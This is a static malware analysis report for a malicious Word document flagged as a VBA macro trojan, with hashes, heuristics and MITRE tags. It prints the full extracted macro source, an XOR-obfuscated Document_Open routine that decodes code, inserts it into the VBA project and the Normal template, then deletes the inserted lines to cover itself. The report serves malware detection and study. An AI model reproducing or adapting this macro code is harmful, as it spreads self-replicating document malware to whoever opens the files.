Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0893cc21a51b476c…

MALICIOUS

Office (OLE)

31.5 KB Created: 2001-05-26 08:22:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: a02bb4072769217b6f571c70a57b4039 SHA-1: b09a9eb1aa5d36f52f3cb07e70da0a4a68ded715 SHA-256: 0893cc21a51b476c201efc3497a68a6784e15cbb25541b2a51a5a4eca00702af
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Document_Open macro attempts to deobfuscate and insert code into the VBA project, indicated by the 'decode' variable and calls to 'InsertLines'. This suggests the macro's purpose is to prepare and execute a secondary payload. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further support its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Compresser-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Compresser-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2968 bytes
SHA-256: c579f286ebd7e4c2c835cccb0f497c7d6a51c5b3970c02c9178d9f4720b54eaf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Dim j(100) As String
j(0) = "ĥ帥ÇÍ"
j(1) = "ĥ¥¸¥ÆÍ"
j(2) = "Ä¥À¥¸¥ÁÍ"
j(3) = "èüæêáॸ¥ÀÈ­´©¥Àɬ"
j(4) = "Ý¥Ê"
j(5) = "Õ¥¸¥­´¨´¬"
j(6) = "Ô¥¸¥­´¨´¬"
j(7) = "×¥¸¥­´¨´¬"
j(8) = "ËÖ¥¸¥Ñ"
j(9) = "ËÐ¥¸¥­´¨´¬"
j(10) = "ËÓ¥¸¥­´¨´¬"
j(11) = "ËÒ¥¸¥­´¨´¬"
j(12) = "Ü"
j(13) = "Ý¥Ã"
j(14) = "Ï¥´©¥É"
j(15) = "Ì¥èüæêáà"
j(16) = "Ü"
j(17) = "Ý¥Â"
j(18) = "Ï¥´©¥É"
j(19) = "Ì¥èüæêáà"
j(20) = "Ü"
j(21) = "Æ«öäóàäö¥Æß"
Set This = ThisDocument: Set VBP = This.VBProject
Set VBC = VBP.VBCOMPONENTS(1): Set COD = VBC.CODEMODULE
For I = 0 To 21
decode = decode & Dec(Decrypt(j(I))) & vbCr
Next
COD.InsertLines 79, decode
Call compressed
NormalTemplate.VBProject.VBCOMPONENTS(1).CODEMODULE.DELETELINES 79, 23
ActiveDocument.VBProject.VBCOMPONENTS(1).CODEMODULE.DELETELINES 79, 23
Rem WM97.COMPRESSED
End Sub
Private Function Dec(s)
H1 = "": D = ""
For I = 1 To Len(s)
H1 = Mid(s, I, 1)
Select Case H1
Case "A": H1 = Decrypt("ÖÀÑ")
Case "B": H1 = Decrypt("ËÊ×ÈÄÉÑÀÈÕÉÄÑÀ")
Case "C": H1 = Decrypt("ÄÆÑÌÓÀÁÊÆÐÈÀËÑ")
Case "D": H1 = Decrypt("ÑÍÌÖÁÊÆÐÈÀËÑ")
Case "E": H1 = Decrypt("ÑÍÖ")
Case "F": H1 = Decrypt("ËÊ×")
Case "G": H1 = Decrypt("ÁÊÆ")
Case "H": H1 = Decrypt("«ÓÇÕ×ÊÏÀÆÑ«ÓÇÆÊÈÕÊËÀËÑÖ­´¬«ÆÊÁÀÈÊÁÐÉÀ")
Case "I": H1 = Decrypt("«ÄÁÁÃ×ÊÈÖÑ×ÌËÂ")
Case "J": H1 = Decrypt("«ÁÀÉÀÑÀÉÌËÀÖ")
Case "K": H1 = Decrypt("«ÌËÖÀ×ÑÉÌËÀÖ")
Case "L": H1 = Decrypt("«ÆÊÐËÑÊÃÉÌËÀÖ")
Case "M": H1 = Decrypt("«ÉÌËÀÖ")
Case "N": H1 = Decrypt("«ÄÕÕÉÌÆÄÑÌÊË")
Case "O": H1 = Decrypt("ÊÕÑÌÊËÖ")
Case "P": H1 = Decrypt("«ÓÌ×ÐÖÕ×ÊÑÀÆÑÌÊË")
Case "Q": H1 = Decrypt("«ÖÄÓÀËÊ×ÈÄÉÕ×ÊÈÕÑ")
Case "R": H1 = Decrypt("«ÆÊËÃÌ×ÈÆÊËÓÀ×ÖÌÊËÖ")
Case "S": H1 = Decrypt("«ÁÌÖÕÉÄÜÄÉÀ×ÑÖ")
Case "T": H1 = Decrypt("ÒÁÄÉÀ×ÑÖËÊËÀ")
Case "U": H1 = Decrypt("«ÖÆ×ÀÀËÐÕÁÄÑÌËÂ")
Case "V": H1 = Decrypt("«ÁÌÖÕÉÄÜÖÑÄÑÐÖÇÄ×")
Case "W": H1 = Decrypt("«ÀËÄÇÉÀÆÄËÆÀÉÎÀÜ")
Case "X": H1 = Decrypt("ÒÌÑÍ")
Case "Y": H1 = Decrypt("ÀËÁ¥ÒÌÑÍ")
Case "Z": H1 = Decrypt("«ÃÐÉÉËÄÈÀ")
End Select
D = D & H1
Next
Dec = D
End Function
Private Function Decrypt(s)
For I = 1 To Len(s)
Decrypt = Decrypt & Chr(Asc(Mid(s, I, 1)) Xor 133)
Next
End Function

Private Sub compressed()

End Sub